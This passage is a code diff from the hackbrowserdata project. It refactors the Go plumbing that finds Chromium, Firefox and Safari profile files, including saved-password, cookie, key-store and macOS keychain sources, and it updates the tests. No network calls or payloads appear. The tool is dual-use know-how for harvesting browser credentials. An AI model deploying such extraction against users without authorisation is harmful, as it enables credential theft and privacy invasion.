}
return override{}, false
}
func isVaultKind(vaultKind string) bool {
_, ok := overrideForVaultKind(vaultKind)
return ok || vaultKind == vaultKindChromium
}
// VaultKind names a vault's on-disk format, so a reader without the browser in its table still picks its files.
func VaultKind(chromiumBrowser browser.Browser) string {
if fork, ok := overrideFor(chromiumBrowser.Name); ok {
return fork.vaultKind
}
return vaultKindChromium
}
// vaultKindOf is a restored dir's own kind, or else its browser's.
func vaultKindOf(dir browser.UserDataDir) string {
if dir.VaultKind != "" {
return dir.VaultKind
}
return VaultKind(dir.Browser)
}
-100
View File
@@ -1,100 +0,0 @@
package chromium
import (
"context"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/internal/browser"
"github.com/moond4rk/hackbrowserdata/internal/category"
"github.com/moond4rk/hackbrowserdata/internal/record"
)
func TestOverrides_NameChromiumBrowsers(t *testing.T) {
for _, fork := range overrides {
for _, name := range fork.browserNames {
chromiumBrowser, ok := browser.Lookup(name)
if assert.Truef(t, ok, "override %q names no browser", name) {
assert.Equalf(t, browser.Chromium, chromiumBrowser.Base, "override %q is not a Chromium browser", name)
}
}
}
}
// TestOverrides_KindsAndNamesAreUnique keeps overrideFor and overrideForVaultKind from depending on table order.
func TestOverrides_KindsAndNamesAreUnique(t *testing.T) {
kinds := map[string]bool{vaultKindChromium: true}
names := map[string]bool{}
for _, fork := range overrides {
assert.Falsef(t, kinds[fork.vaultKind], "kind %q is used twice", fork.vaultKind)
kinds[fork.vaultKind] = true
for _, name := range fork.browserNames {
assert.Falsef(t, names[name], "browser %q is in two overrides", name)
names[name] = true
}
}
}
// TestVaultKind_RoundTripsEveryFork checks a kind leads back to its fork, or restore would parse it as plain Chromium.
func TestVaultKind_RoundTripsEveryFork(t *testing.T) {
for _, fork := range overrides {
for _, name := range fork.browserNames {
kind := VaultKind(browser.Browser{Name: name})
require.Equalf(t, fork.vaultKind, kind, "override %q", name)
restored, ok := overrideForVaultKind(kind)
require.True(t, ok, kind)
assert.Equalf(t, categoriesOf(fork.extractors), categoriesOf(restored.extractors), "kind %s of %q", kind, name)
}
}
assert.Equal(t, vaultKindChromium, VaultKind(browser.Browser{Name: "chrome"}))
assert.True(t, isVaultKind(vaultKindChromium))
assert.False(t, isVaultKind("bogus"))
assert.False(t, isVaultKind(""))
}
// TestDiscoverAt_ReadsAnUnknownBrowserInItsVaultKind keeps a restored fork's own name while its kind picks the files.
func TestDiscoverAt_ReadsAnUnknownBrowserInItsVaultKind(t *testing.T) {
nightly := browser.Browser{Name: "nightly", DisplayName: "Nightly", Base: browser.Chromium}
dir, err := DiscoverAt(nightly, "chromium-yandex", "nightly", t.TempDir())
require.NoError(t, err)
assert.Equal(t, nightly, dir.Browser)
assert.Equal(t, "Ya Passman Data", Extractors(dir, browser.Profile{})[category.Password].Sources[0].RelativePath)
_, err = DiscoverAt(nightly, "bogus", "nightly", t.TempDir())
require.Error(t, err)
}
func categoriesOf(extractors browser.Extractors) []category.Category {
var out []category.Category
for _, dataCategory := range category.All() {
if _, ok := extractors[dataCategory]; ok {
out = append(out, dataCategory)
}
}
return out
}
func TestExtractors_OperaReadsOpsettings(t *testing.T) {
preferencesPath := createTestJSON(t, "Secure Preferences", `{
"extensions": {"opsettings": {"ext1": {"location": 1, "manifest": {"name": "Opera Ext", "version": "1.0"}}}}
}`)
input := browser.NewInput(snapshotOf(t, map[string]string{"Default/Secure Preferences": preferencesPath}),
browser.Profile{Name: "Default", RelativePath: "Default"}, nil, nil)
for _, name := range []string{"opera", "opera-gx", "vought"} {
chromiumBrowser, ok := browser.Lookup(name)
require.True(t, ok, name)
var out testCollector
require.NoError(t, Extractors(browser.UserDataDir{Browser: chromiumBrowser}, input.Profile)[category.Extension].Extract(context.Background(), input, &out), name)
got := collected[record.Extension](t, &out)
require.Len(t, got, 1, name)
assert.Equal(t, "Opera Ext", got[0].Name, name)
}
chrome, ok := browser.Lookup("chrome")
require.True(t, ok)
err := Extractors(browser.UserDataDir{Browser: chrome}, input.Profile)[category.Extension].Extract(context.Background(), input, &testCollector{})
require.Error(t, err, "Chrome has no opsettings fallback")
}
+67
View File
@@ -0,0 +1,67 @@
package browser
import (
"errors"
"fmt"
"io/fs"
"path"
"strings"
"github.com/moond4rk/hackbrowserdata/internal/record"
"github.com/moond4rk/hackbrowserdata/internal/snapshot"
)
// Source is one file or directory an extraction reads.
type Source struct {
RelativePath string // slash-separated, relative to the profile, or to the user data dir when FromUserDataDir
Fallbacks []string // older locations, read only when RelativePath is absent
IsDir bool
FromUserDataDir bool // lives outside the profile, such as Local State, or Safari's files elsewhere under ~/Library
Shared bool // the whole dir's, such as Local State, so it never makes an extraction present on its own
Optional bool // the extraction still runs without it
}
// RelativePaths lists RelativePath and then its Fallbacks, the order they are tried in.
func (s Source) RelativePaths() []string {
return append([]string{s.RelativePath}, s.Fallbacks...)
}
// DirRelativePaths are the RelativePaths for a profile, relative to the user data dir.
func (s Source) DirRelativePaths(profile Profile) []string {
paths := s.RelativePaths()
if !s.FromUserDataDir {
for i, relativePath := range paths {
paths[i] = path.Join(profile.RelativePath, relativePath)
}
}
return paths
}
// Collector sets every record's Browser and Profile; Fail reports a bad record and the extraction goes on.
type Collector interface {
Add(row record.Record)
Fail(err error)
}
// ProfileSnapshot is one profile's share of a captured user data dir; an extraction reads nothing else.
type ProfileSnapshot struct {
UserDataDir UserDataDir
Profile Profile
dirSnapshot snapshot.Snapshot
}
func NewProfileSnapshot(dir UserDataDir, profile Profile, dirSnapshot snapshot.Snapshot) ProfileSnapshot {
return ProfileSnapshot{UserDataDir: dir, Profile: profile, dirSnapshot: dirSnapshot}
}
// Path skips a candidate that was never captured but returns the error of one whose copy failed.
func (s ProfileSnapshot) Path(source Source) (string, error) {
for _, relativePath := range source.DirRelativePaths(s.Profile) {
capturedPath, err := s.dirSnapshot.Path(relativePath)
if errors.Is(err, fs.ErrNotExist) {
continue
}
return capturedPath, err
}
return "", fmt.Errorf("%s: %w", strings.Join(source.RelativePaths(), " or "), fs.ErrNotExist)
}
@@ -21,37 +21,37 @@ func writeSnapshotFile(t *testing.T, root, relativePath string) string {
return path
}
func TestInputPath(t *testing.T) {
func TestProfileSnapshotPath(t *testing.T) {
root := t.TempDir()
legacyCookies := writeSnapshotFile(t, root, "chrome/Default/Cookies")
localState := writeSnapshotFile(t, root, "chrome/Local State")
dirSnapshot := snapshot.Open(root).Snapshot("chrome")
input := NewInput(dirSnapshot, Profile{Name: "Default", RelativePath: "Default"}, nil, nil)
captured := NewProfileSnapshot(UserDataDir{ID: "chrome"}, Profile{Name: "Default", RelativePath: "Default"}, dirSnapshot)
got, err := input.Path(Source{RelativePath: "Network/Cookies", Fallbacks: []string{"Cookies"}})
got, err := captured.Path(Source{RelativePath: "Network/Cookies", Fallbacks: []string{"Cookies"}})
require.NoError(t, err)
assert.Equal(t, legacyCookies, got, "a candidate that was never captured is skipped")
got, err = input.Path(Source{RelativePath: "Local State", Shared: true})
got, err = captured.Path(Source{RelativePath: "Local State", FromUserDataDir: true})
require.NoError(t, err)
assert.Equal(t, localState, got, "a shared source resolves under the user data dir, not the profile")
assert.Equal(t, localState, got, "a source from the user data dir resolves there, not under the profile")
_, err = input.Path(Source{RelativePath: "History"})
_, err = captured.Path(Source{RelativePath: "History"})
require.ErrorIs(t, err, fs.ErrNotExist)
}
func TestInputPath_FlatLayoutProfile(t *testing.T) {
func TestProfileSnapshotPath_FlatLayoutProfile(t *testing.T) {
root := t.TempDir()
history := writeSnapshotFile(t, root, "opera/History")
input := NewInput(snapshot.Open(root).Snapshot("opera"), Profile{Name: "Opera Stable"}, nil, nil)
captured := NewProfileSnapshot(UserDataDir{ID: "opera"}, Profile{Name: "Opera Stable"}, snapshot.Open(root).Snapshot("opera"))
got, err := input.Path(Source{RelativePath: "History"})
got, err := captured.Path(Source{RelativePath: "History"})
require.NoError(t, err)
assert.Equal(t, history, got)
}
// TestInputPath_FailedCopyIsReported makes a failed copy an error, not a reason to read a lower candidate.
func TestInputPath_FailedCopyIsReported(t *testing.T) {
// TestProfileSnapshotPath_FailedCopyIsReported makes a failed copy an error, not a reason to read a lower candidate.
func TestProfileSnapshotPath_FailedCopyIsReported(t *testing.T) {
from := t.TempDir()
require.NoError(t, os.MkdirAll(filepath.Join(from, "Default", "Network", "Cookies"), 0o700))
writeSnapshotFile(t, from, "Default/Cookies")
@@ -64,16 +64,16 @@ func TestInputPath_FailedCopyIsReported(t *testing.T) {
{UserDataDirID: "chrome", UserDataDirPath: from, RelativePath: "Default/Cookies"},
}))
input := NewInput(root.Snapshot("chrome"), Profile{Name: "Default", RelativePath: "Default"}, nil, nil)
_, err = input.Path(Source{RelativePath: "Network/Cookies", Fallbacks: []string{"Cookies"}})
captured := NewProfileSnapshot(UserDataDir{ID: "chrome"}, Profile{Name: "Default", RelativePath: "Default"}, root.Snapshot("chrome"))
_, err = captured.Path(Source{RelativePath: "Network/Cookies", Fallbacks: []string{"Cookies"}})
require.Error(t, err)
assert.NotErrorIs(t, err, fs.ErrNotExist)
}
func TestSourceCandidatePaths(t *testing.T) {
func TestSourceDirRelativePaths(t *testing.T) {
profile := Profile{Name: "Default", RelativePath: "Default"}
assert.Equal(t, []string{"Default/Network/Cookies", "Default/Cookies"}, Source{RelativePath: "Network/Cookies", Fallbacks: []string{"Cookies"}}.CandidatePaths(profile))
assert.Equal(t, []string{"Local State"}, Source{RelativePath: "Local State", Shared: true}.CandidatePaths(profile))
assert.Equal(t, []string{"History"}, Source{RelativePath: "History"}.CandidatePaths(Profile{Name: "default"}),
assert.Equal(t, []string{"Default/Network/Cookies", "Default/Cookies"}, Source{RelativePath: "Network/Cookies", Fallbacks: []string{"Cookies"}}.DirRelativePaths(profile))
assert.Equal(t, []string{"Local State"}, Source{RelativePath: "Local State", FromUserDataDir: true}.DirRelativePaths(profile))
assert.Equal(t, []string{"History"}, Source{RelativePath: "History"}.DirRelativePaths(Profile{Name: "default"}),
"a user data dir that is itself the profile")
}
-106
View File
@@ -1,106 +0,0 @@
package browser
import (
"context"
"errors"
"fmt"
"io/fs"
"path"
"strings"
"github.com/moond4rk/hackbrowserdata/internal/category"
"github.com/moond4rk/hackbrowserdata/internal/keychain"
"github.com/moond4rk/hackbrowserdata/internal/masterkey"
"github.com/moond4rk/hackbrowserdata/internal/record"
"github.com/moond4rk/hackbrowserdata/internal/snapshot"
)
// Source is one file or directory an extractor reads.
type Source struct {
RelativePath string // slash-separated, relative to the profile dir, or to the user data dir when Shared
Fallbacks []string // older locations, read only when RelativePath is absent
IsDir bool
Shared bool // belongs to the whole user data dir, such as Local State, so it is captured once per dir
Optional bool // the extraction still runs without it
}
// RelativePaths lists RelativePath and then its Fallbacks, the order they are tried in.
func (s Source) RelativePaths() []string {
return append([]string{s.RelativePath}, s.Fallbacks...)
}
// CandidatePaths are the RelativePaths for a profile, relative to the user data dir.
func (s Source) CandidatePaths(profile Profile) []string {
paths := s.RelativePaths()
if !s.Shared {
for i, relativePath := range paths {
paths[i] = path.Join(profile.RelativePath, relativePath)
}
}
return paths
}
type Extractor struct {
Sources []Source
Extract func(ctx context.Context, input Input, out Collector) error
}
type Extractors map[category.Category]Extractor
// Collector sets every record's Browser and Profile; Fail reports a bad record and the extraction goes on.
type Collector interface {
Add(row record.Record)
Fail(err error)
}
// LoginKeychain is what an extractor reads from the run's macOS login keychain.
type LoginKeychain interface {
InternetPasswords(ctx context.Context) ([]keychain.InternetPassword, error)
}
// Input is what an extractor reads for one profile: its captured files, the dir's master keys, and the run's secrets.
type Input struct {
Profile Profile
snapshot snapshot.Snapshot
masterKeys masterkey.Set
loginKeychain LoginKeychain
firefoxPassword string
}
// NewInput takes the dir's master keys, nil for bases that keep none, and the run's login keychain, nil off macOS and
// in a restore.
func NewInput(dirSnapshot snapshot.Snapshot, profile Profile, masterKeys masterkey.Set, loginKeychain LoginKeychain) Input {
return Input{Profile: profile, snapshot: dirSnapshot, masterKeys: masterKeys, loginKeychain: loginKeychain}
}
// Path skips a candidate that was never captured but returns the error of one whose copy failed.
func (in Input) Path(source Source) (string, error) {
for _, relativePath := range source.CandidatePaths(in.Profile) {
capturedPath, err := in.snapshot.Path(relativePath)
if errors.Is(err, fs.ErrNotExist) {
continue
}
return capturedPath, err
}
return "", fmt.Errorf("%s: %w", strings.Join(source.RelativePaths(), " or "), fs.ErrNotExist)
}
// MasterKeys lacks each key version that could not be retrieved.
func (in Input) MasterKeys() masterkey.Set {
return in.masterKeys
}
func (in Input) LoginKeychain() LoginKeychain {
return in.loginKeychain
}
// WithFirefoxPassword sets the Firefox primary password; only the dump path supplies one.
func (in Input) WithFirefoxPassword(password string) Input {
in.firefoxPassword = password
return in
}
// FirefoxPrimaryPassword is the user's primary password, "" when none was given.
func (in Input) FirefoxPrimaryPassword() string {
return in.firefoxPassword
}
+47 -32
View File
@@ -2,7 +2,6 @@
package firefox
import (
"context"
"errors"
"fmt"
"io/fs"
@@ -22,8 +21,14 @@ var (
webappsStore = browser.Source{RelativePath: "webappsstore.sqlite"}
)
// defaultExtractors has no credit card or session storage extractor, because Firefox keeps none that HBD reads.
var defaultExtractors = browser.Extractors{
// extractor is how one category is read: the files it needs, and how it parses them with the user's primary password.
type extractor struct {
sources []browser.Source
extract func(captured browser.ProfileSnapshot, primaryPassword string, out browser.Collector) error
}
// extractors has no credit card or session storage extractor, because Firefox keeps none that HBD reads.
var extractors = map[category.Category]extractor{
category.Password: newDecryptingExtractor(extractPasswords, loginsJSON),
category.Cookie: newPlainExtractor(extractCookies, cookiesDB),
category.Bookmark: newPlainExtractor(extractBookmarks, placesDB),
@@ -36,7 +41,10 @@ var defaultExtractors = browser.Extractors{
// Discover takes -p as one profile: its parent is the Profiles directory, and only that profile is selected.
func Discover(firefoxBrowser browser.Browser, options browser.DiscoverOptions) ([]browser.UserDataDir, error) {
if options.ProfilePath != "" {
return profileAt(firefoxBrowser, options.ProfilePath), nil
if dir, ok := dirFromProfilePath(firefoxBrowser, options.ProfilePath); ok {
return []browser.UserDataDir{dir}, nil
}
return nil, nil
}
var errs []error
var dirs []browser.UserDataDir
@@ -56,18 +64,18 @@ func Discover(firefoxBrowser browser.Browser, options browser.DiscoverOptions) (
return dirs, errors.Join(errs...)
}
func profileAt(firefoxBrowser browser.Browser, path string) []browser.UserDataDir {
func dirFromProfilePath(firefoxBrowser browser.Browser, path string) (browser.UserDataDir, bool) {
clean := filepath.Clean(path)
if !hasDataFile(clean) {
return nil
return browser.UserDataDir{}, false
}
name := filepath.Base(clean)
return []browser.UserDataDir{{
return browser.UserDataDir{
ID: firefoxBrowser.UserDataDirID(0),
Browser: firefoxBrowser,
Path: filepath.Dir(clean),
Profiles: []browser.Profile{{Name: name, RelativePath: name}},
}}
}, true
}
func userDataDirPaths(firefoxBrowser browser.Browser, options browser.DiscoverOptions) []string {
@@ -94,8 +102,8 @@ func discoverProfiles(dir browser.UserDataDir) ([]browser.Profile, error) {
}
func hasDataFile(path string) bool {
for _, extractor := range defaultExtractors {
for _, source := range extractor.Sources {
for _, extractor := range extractors {
for _, source := range extractor.sources {
if source.Optional {
continue
}
@@ -109,46 +117,53 @@ func hasDataFile(path string) bool {
return false
}
func Extractors(_ browser.UserDataDir, _ browser.Profile) browser.Extractors {
extractors := make(browser.Extractors, len(defaultExtractors))
for dataCategory, extractor := range defaultExtractors {
extractors[dataCategory] = extractor
}
return extractors
// Sources lists the files dataCategory is read from in any profile; Firefox may not support it.
func Sources(dataCategory category.Category) (sources []browser.Source, supported bool) {
extractor, ok := extractors[dataCategory]
return extractor.sources, ok
}
func newPlainExtractor(parse func(string, browser.Collector) error, source browser.Source) browser.Extractor {
return browser.Extractor{
Sources: []browser.Source{source},
Extract: func(_ context.Context, input browser.Input, out browser.Collector) error {
path, err := input.Path(source)
// Extract opens a protected profile's key store with primaryPassword, "" when the user gave none.
func Extract(captured browser.ProfileSnapshot, primaryPassword string, dataCategory category.Category, out browser.Collector) error {
extractor, ok := extractors[dataCategory]
if !ok {
return fmt.Errorf("%s has no %s extractor", captured.UserDataDir.Browser.Name, dataCategory)
}
return extractor.extract(captured, primaryPassword, out)
}
func newPlainExtractor(extractFile func(string, browser.Collector) error, source browser.Source) extractor {
return extractor{
sources: []browser.Source{source},
extract: func(captured browser.ProfileSnapshot, _ string, out browser.Collector) error {
path, err := captured.Path(source)
if err != nil {
return err
}
return parse(path, out)
return extractFile(path, out)
},
}
}
// newDecryptingExtractor also captures key4.db, the profile's own key store.
func newDecryptingExtractor(parse func(func() ([]byte, error), string, browser.Collector) error, source browser.Source) browser.Extractor {
return browser.Extractor{
Sources: []browser.Source{source, keyStore},
Extract: func(_ context.Context, input browser.Input, out browser.Collector) error {
path, err := input.Path(source)
func newDecryptingExtractor(extractFile func(func() ([]byte, error), string, browser.Collector) error, source browser.Source) extractor {
return extractor{
sources: []browser.Source{source, keyStore},
extract: func(captured browser.ProfileSnapshot, primaryPassword string, out browser.Collector) error {
path, err := captured.Path(source)
if err != nil {
return err
}
masterKey := func() ([]byte, error) { return profileKey(input, path) }
return parse(masterKey, path, out)
masterKey := func() ([]byte, error) { return profileKey(captured, path, primaryPassword) }
return extractFile(masterKey, path, out)
},
}
}
func profileKey(input browser.Input, loginsPath string) ([]byte, error) {
key4Path, err := input.Path(keyStore)
func profileKey(captured browser.ProfileSnapshot, loginsPath, primaryPassword string) ([]byte, error) {
key4Path, err := captured.Path(keyStore)
if err != nil {
return nil, err
}
return retrieveMasterKey(key4Path, loginsPath, []byte(input.FirefoxPrimaryPassword()))
return retrieveMasterKey(key4Path, loginsPath, []byte(primaryPassword))
}
+12 -11
View File
@@ -1,7 +1,6 @@
package firefox
import (
"context"
"fmt"
"io/fs"
"os"
@@ -107,7 +106,6 @@ func TestDiscover_ProfilePathWithoutDataFindsNothing(t *testing.T) {
}
func TestExtractors_CoverFirefoxCategories(t *testing.T) {
extractors := Extractors(browser.UserDataDir{Browser: testBrowser()}, browser.Profile{})
for _, dataCategory := range category.All() {
extractor, ok := extractors[dataCategory]
if dataCategory == category.CreditCard || dataCategory == category.SessionStorage {
@@ -115,8 +113,8 @@ func TestExtractors_CoverFirefoxCategories(t *testing.T) {
continue
}
if assert.Truef(t, ok, "no extractor for %s", dataCategory) {
assert.NotNil(t, extractor.Extract, dataCategory)
assert.NotEmpty(t, extractor.Sources, dataCategory)
assert.NotNil(t, extractor.extract, dataCategory)
assert.NotEmpty(t, extractor.sources, dataCategory)
}
}
}
@@ -126,11 +124,10 @@ func TestDecryptingExtractor_WithoutKeyStore(t *testing.T) {
encodedLogin := loginPBEBase64(t)
logins := createTestJSON(t, "logins.json", fmt.Sprintf(`{"logins": [{"hostname": "https://a.test",
"encryptedUsername": %q, "encryptedPassword": %q, "timeCreated": 1700000000000}]}`, encodedLogin, encodedLogin))
input := browser.NewInput(snapshotOf(t, map[string]string{"p/logins.json": logins}),
browser.Profile{Name: "p", RelativePath: "p"}, nil, nil)
captured := profileP(snapshotOf(t, map[string]string{"p/logins.json": logins}))
var out testCollector
require.NoError(t, defaultExtractors[category.Password].Extract(context.Background(), input, &out))
require.NoError(t, extractors[category.Password].extract(captured, "", &out))
got := collected[record.Login](t, &out)
require.Len(t, got, 1)
assert.Equal(t, "https://a.test", got[0].URL)
@@ -142,13 +139,13 @@ func TestDecryptingExtractor_WithoutKeyStore(t *testing.T) {
// TestPasswordExtractor_NoLoginsNeverReadsTheKey leaves key4.db unread without logins, so an unreadable one is harmless.
func TestDecryptingExtractor_NoLoginsNeverReadsTheKey(t *testing.T) {
input := browser.NewInput(snapshotOf(t, map[string]string{
captured := profileP(snapshotOf(t, map[string]string{
"p/logins.json": createTestJSON(t, "logins.json", `{"logins": []}`),
"p/key4.db": createTestJSON(t, "key4.db", "not a database"),
}), browser.Profile{Name: "p", RelativePath: "p"}, nil, nil)
}))
var out testCollector
require.NoError(t, defaultExtractors[category.Password].Extract(context.Background(), input, &out))
require.NoError(t, extractors[category.Password].extract(captured, "", &out))
assert.Empty(t, out.records)
assert.Empty(t, out.fails)
}
@@ -165,9 +162,13 @@ func TestExtractors_EachProfileReadsItsOwnFiles(t *testing.T) {
want := map[string]string{"a.default": "Home", "b.work": "Work"}
for _, profile := range []browser.Profile{{Name: "a.default", RelativePath: "a.default"}, {Name: "b.work", RelativePath: "b.work"}} {
var out testCollector
require.NoError(t, Extractors(dir, profile)[category.History].Extract(context.Background(), browser.NewInput(dirSnapshot, profile, nil, nil), &out))
require.NoError(t, Extract(browser.NewProfileSnapshot(dir, profile, dirSnapshot), "", category.History, &out))
got := collected[record.History](t, &out)
require.Len(t, got, 1, profile.Name)
assert.Equal(t, want[profile.Name], got[0].Title, profile.Name)
}
}
func profileP(dirSnapshot snapshot.Snapshot) browser.ProfileSnapshot {
return browser.NewProfileSnapshot(browser.UserDataDir{Browser: testBrowser()}, browser.Profile{Name: "p", RelativePath: "p"}, dirSnapshot)
}
+1 -2
View File
@@ -10,8 +10,7 @@ import (
)
// extractPasswords reads no file, so it always runs; without a usable password the keychain yields metadata only.
func extractPasswords(ctx context.Context, input browser.Input, out browser.Collector) error {
loginKeychain := input.LoginKeychain()
func extractPasswords(ctx context.Context, _ browser.ProfileSnapshot, loginKeychain LoginKeychain, out browser.Collector) error {
if loginKeychain == nil {
return errNoKeychain
}
+76 -44
View File
@@ -13,6 +13,7 @@ import (
"github.com/moond4rk/hackbrowserdata/internal/browser"
"github.com/moond4rk/hackbrowserdata/internal/category"
"github.com/moond4rk/hackbrowserdata/internal/keychain"
)
// Paths below are relative to the user data dir, ~/Library.
@@ -57,51 +58,87 @@ func userDataDirPaths(safariBrowser browser.Browser, options browser.DiscoverOpt
return paths
}
// Extractors builds a named profile's sources from Profile.RelativePath; its files sit under two dirs named for its UUID.
// The keychain, Bookmarks.plist, and the extension plists carry no profile tag, so only the default profile reads them.
func Extractors(dir browser.UserDataDir, profile browser.Profile) browser.Extractors {
if uuid, named := namedProfileUUID(profile); named {
return namedProfileExtractors(dir, profile, uuid)
}
return defaultProfileExtractors(profile)
// LoginKeychain is what Safari's password extraction reads from the run's macOS login keychain.
type LoginKeychain interface {
InternetPasswords(ctx context.Context) ([]keychain.InternetPassword, error)
}
func defaultProfileExtractors(profile browser.Profile) browser.Extractors {
// extractor is how one category is read: the files it needs, and how it parses them; passwords come from the keychain.
type extractor struct {
sources []browser.Source
extract func(ctx context.Context, captured browser.ProfileSnapshot, loginKeychain LoginKeychain, out browser.Collector) error
}
// Sources lists the files dataCategory is read from in profile; a named profile supports fewer than the default one.
func Sources(
dir browser.UserDataDir, profile browser.Profile, dataCategory category.Category,
) (sources []browser.Source, supported bool) {
extractor, ok := profileExtractors(dir, profile)[dataCategory]
return extractor.sources, ok
}
// Extract reads passwords from loginKeychain, which is nil off macOS; locked, it yields metadata only.
func Extract(
ctx context.Context, captured browser.ProfileSnapshot, loginKeychain LoginKeychain, dataCategory category.Category, out browser.Collector,
) error {
extractor, ok := profileExtractors(captured.UserDataDir, captured.Profile)[dataCategory]
if !ok {
return fmt.Errorf("%s profile %s has no %s extractor", captured.UserDataDir.Browser.Name, captured.Profile.Name, dataCategory)
}
return extractor.extract(ctx, captured, loginKeychain, out)
}
// profileExtractors builds a named profile's sources from Profile.RelativePath; its files sit under two dirs named for
// its UUID. The keychain, Bookmarks.plist, and the extension plists carry no profile tag, so only the default profile
// reads them.
func profileExtractors(dir browser.UserDataDir, profile browser.Profile) map[category.Category]extractor {
if uuid, named := namedProfileUUID(profile); named {
return namedProfileExtractors(dir, uuid)
}
return defaultProfileExtractors()
}
func defaultProfileExtractors() map[category.Category]extractor {
var (
history = browser.Source{RelativePath: "History.db"}
cookies = browser.Source{
RelativePath: fromLibrary(profile, containerDir+"/Cookies/Cookies.binarycookies"),
Fallbacks: []string{fromLibrary(profile, "Cookies/Cookies.binarycookies")},
RelativePath: containerDir + "/Cookies/Cookies.binarycookies",
Fallbacks: []string{"Cookies/Cookies.binarycookies"},
FromUserDataDir: true,
}
bookmarks = browser.Source{RelativePath: "Bookmarks.plist"}
downloads = browser.Source{RelativePath: "Downloads.plist"}
localStorage = browser.Source{RelativePath: fromLibrary(profile, containerDir+"/WebKit/WebsiteData/Default"), IsDir: true}
appExtensions = browser.Source{RelativePath: fromLibrary(profile, containerDir+"/Safari/AppExtensions/Extensions.plist"), Optional: true}
webExtensions = browser.Source{RelativePath: fromLibrary(profile, containerDir+"/Safari/WebExtensions/Extensions.plist"), Optional: true}
localStorage = browser.Source{RelativePath: containerDir + "/WebKit/WebsiteData/Default", IsDir: true, FromUserDataDir: true}
appExtensions = browser.Source{
RelativePath: containerDir + "/Safari/AppExtensions/Extensions.plist", FromUserDataDir: true, Optional: true,
}
webExtensions = browser.Source{
RelativePath: containerDir + "/Safari/WebExtensions/Extensions.plist", FromUserDataDir: true, Optional: true,
}
)
return browser.Extractors{
category.Password: {Extract: extractPasswords},
return map[category.Category]extractor{
category.Password: {extract: extractPasswords},
category.History: newPlainExtractor(extractHistories, history),
category.Cookie: newPlainExtractor(extractCookies, cookies),
category.Bookmark: newPlainExtractor(extractBookmarks, bookmarks),
category.Download: newPlainExtractor(downloadsOf(defaultProfileSentinel), downloads),
category.Download: newDownloadExtractor(downloads, defaultProfileSentinel),
category.LocalStorage: newPlainExtractor(extractLocalStorage, localStorage),
category.Extension: newExtensionExtractor(appExtensions, webExtensions),
}
}
func namedProfileExtractors(dir browser.UserDataDir, profile browser.Profile, uuid string) browser.Extractors {
func namedProfileExtractors(dir browser.UserDataDir, uuid string) map[category.Category]extractor {
store := containerDir + "/WebKit/WebsiteDataStore/" + strings.ToLower(uuid)
var (
history = browser.Source{RelativePath: "History.db"}
cookies = browser.Source{RelativePath: fromLibrary(profile, store+"/Cookies/Cookies.binarycookies")}
downloads = browser.Source{RelativePath: fromLibrary(profile, defaultProfileDir(dir)+"/Downloads.plist")}
localStorage = browser.Source{RelativePath: fromLibrary(profile, store+"/Origins"), IsDir: true}
cookies = browser.Source{RelativePath: store + "/Cookies/Cookies.binarycookies", FromUserDataDir: true}
downloads = browser.Source{RelativePath: defaultProfileDir(dir) + "/Downloads.plist", FromUserDataDir: true}
localStorage = browser.Source{RelativePath: store + "/Origins", IsDir: true, FromUserDataDir: true}
)
return browser.Extractors{
return map[category.Category]extractor{
category.History: newPlainExtractor(extractHistories, history),
category.Cookie: newPlainExtractor(extractCookies, cookies),
category.Download: newPlainExtractor(downloadsOf(uuid), downloads),
category.Download: newDownloadExtractor(downloads, uuid),
category.LocalStorage: newPlainExtractor(extractLocalStorage, localStorage),
}
}
@@ -123,46 +160,41 @@ func defaultProfileDir(dir browser.UserDataDir) string {
return "Safari"
}
// fromLibrary turns a path under ~/Library into one relative to profile.RelativePath, which sources are joined with.
func fromLibrary(profile browser.Profile, relativePath string) string {
if profile.RelativePath == "" {
return relativePath
}
return strings.Repeat("../", strings.Count(profile.RelativePath, "/")+1) + relativePath
}
func newPlainExtractor(parse func(string, browser.Collector) error, source browser.Source) browser.Extractor {
return browser.Extractor{
Sources: []browser.Source{source},
Extract: func(_ context.Context, input browser.Input, out browser.Collector) error {
captured, err := input.Path(source)
func newPlainExtractor(extractFile func(string, browser.Collector) error, source browser.Source) extractor {
return extractor{
sources: []browser.Source{source},
extract: func(_ context.Context, captured browser.ProfileSnapshot, _ LoginKeychain, out browser.Collector) error {
capturedPath, err := captured.Path(source)
if err != nil {
return err
}
return parse(captured, out)
return extractFile(capturedPath, out)
},
}
}
func downloadsOf(profileUUID string) func(string, browser.Collector) error {
return func(path string, out browser.Collector) error { return extractDownloads(path, profileUUID, out) }
// newDownloadExtractor keeps one profile's entries, because Downloads.plist holds every profile's.
func newDownloadExtractor(source browser.Source, profileUUID string) extractor {
return newPlainExtractor(func(path string, out browser.Collector) error {
return extractDownloads(path, profileUUID, out)
}, source)
}
// newExtensionExtractor merges every plist, so the extensions come out sorted across both stores.
func newExtensionExtractor(sources ...browser.Source) browser.Extractor {
return browser.Extractor{
Sources: sources,
Extract: func(_ context.Context, input browser.Input, out browser.Collector) error {
func newExtensionExtractor(sources ...browser.Source) extractor {
return extractor{
sources: sources,
extract: func(_ context.Context, captured browser.ProfileSnapshot, _ LoginKeychain, out browser.Collector) error {
var paths []string
for _, source := range sources {
captured, err := input.Path(source)
capturedPath, err := captured.Path(source)
if errors.Is(err, fs.ErrNotExist) {
continue
}
if err != nil {
return err
}
paths = append(paths, captured)
paths = append(paths, capturedPath)
}
return extractExtensions(paths, out)
},
+22 -24
View File
@@ -4,7 +4,6 @@ import (
"context"
"errors"
"os"
"path"
"path/filepath"
"strings"
"testing"
@@ -28,20 +27,18 @@ var (
libraryDir = browser.UserDataDir{Browser: testBrowser(), Profiles: []browser.Profile{defaultProfile, workProfile}}
)
func sourcePaths(profile browser.Profile, extractors browser.Extractors) map[category.Category][]string {
got := make(map[category.Category][]string, len(extractors))
for dataCategory, extractor := range extractors {
for _, source := range extractor.Sources {
for _, relativePath := range source.RelativePaths() {
got[dataCategory] = append(got[dataCategory], path.Join(profile.RelativePath, relativePath))
}
func sourcePaths(dir browser.UserDataDir, profile browser.Profile) map[category.Category][]string {
got := make(map[category.Category][]string)
for _, dataCategory := range category.All() {
sources, _ := Sources(dir, profile, dataCategory)
for _, source := range sources {
got[dataCategory] = append(got[dataCategory], source.DirRelativePaths(profile)...)
}
}
return got
}
func TestExtractors_DefaultProfileSources(t *testing.T) {
extractors := Extractors(libraryDir, defaultProfile)
func TestSources_DefaultProfile(t *testing.T) {
assert.Equal(t, map[category.Category][]string{
category.History: {"Safari/History.db"},
category.Cookie: {containerDir + "/Cookies/Cookies.binarycookies", "Cookies/Cookies.binarycookies"},
